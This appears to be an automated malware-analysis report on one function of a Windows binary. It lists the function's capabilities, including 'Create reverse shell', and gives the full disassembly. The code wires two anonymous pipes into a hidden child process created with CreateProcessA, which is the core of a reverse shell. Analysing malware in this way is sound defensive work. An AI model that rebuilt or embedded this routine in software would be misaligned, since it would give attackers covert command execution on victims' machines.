Function at 0x1617fe9e320
Capabilities:
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x100
mov rax, qword [0x1617fefd018]
xor rax, rsp
mov qword [rsp + 0xf8], rax
xorps xmm0, xmm0
lea rdx, [rcx + 0x800d0]
xor eax, eax
lea r8, [r11 - 0x28]
mov rdi, rcx
mov qword [r11 - 0x18], rax
movups xmmword [r11 - 0x28], xmm0
xor r9d, r9d
mov dword [r11 - 0x28], 0x18
add rcx, 0x800c8
mov dword [r11 - 0x18], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rcx, qword [rdi + 0x800d0]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor r9d, r9d
lea r8, [rsp + 0xe0]
lea rdx, [rdi + 0x800e0]
lea rcx, [rdi + 0x800d8]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rcx, qword [rdi + 0x800d8]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor eax, eax
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x60], rax
lea r8, [0x1617fefdc60]
mov qword [rsp + 0xb4], rax
xorps xmm1, xmm1
mov dword [rsp + 0xbc], eax
xor r9d, r9d
mov rax, qword [rdi + 0x800c8]
xorps xmm0, xmm0
mov qword [rsp + 0xc0], rax
mov rax, qword [rdi + 0x800e0]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0xa4], xmm1
movups xmmword [rsp + 0x74], xmm1
movups xmmword [rsp + 0x84], xmm1
movups xmmword [rsp + 0x94], xmm1
psrldq xmm1, 8
movd eax, xmm1
movups xmmword [rsp + 0x50], xmm0
bts eax, 8
mov dword [rsp + 0xac], eax
mov eax, r9d
cmp byte [0x1617fefdc60], al
je 0x1617fe9e470
mov rcx, r8
inc eax
lea rcx, [rcx + 1]
cmp byte [rcx], r9b
jne 0x1617fe9e465
inc eax
movsxd rdx, eax
add rdx, r8
cmp byte [rdx], r9b
je 0x1617fe9e48b
nop dword [rax]
inc eax
lea rdx, [rdx + 1]
cmp byte [rdx], r9b
jne 0x1617fe9e480
inc eax
movsxd rdx, eax
add rdx, r8
cmp byte [rdx], r9b
je 0x1617fe9e4ab
nop dword [rax + rax]
inc eax
lea rdx, [rdx + 1]
cmp byte [rdx], r9b
jne 0x1617fe9e4a0
inc eax
movsxd rdx, eax
add rdx, r8
cmp byte [rdx], r9b
je 0x1617fe9e4cb
nop dword [rax + rax]
inc eax
lea rdx, [rdx + 1]
cmp byte [rdx], r9b
jne 0x1617fe9e4c0
inc eax
movsxd rdx, eax
add rdx, r8
cmp byte [rdx], r9b
je 0x1617fe9e4eb
nop dword [rax + rax]
inc eax
lea rdx, [rdx + 1]
cmp byte [rdx], r9b
jne 0x1617fe9e4e0
inc eax
movsxd rdx, eax
add rdx, r8
cmp byte [rdx], r9b
je 0x1617fe9e50b
nop dword [rax + rax]
inc eax
lea rdx, [rdx + 1]
cmp byte [rdx], r9b
jne 0x1617fe9e500
inc eax
xor ecx, ecx
movsxd rdx, eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
add rdx, r8
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], r9
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x1617fe9e56c
xor al, al
jmp 0x1617fe9e588
mov rcx, qword [rdi + 0x800c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rdi + 0x800e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0xf8]
xor rcx, rsp
call fcn.1617feaa320
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret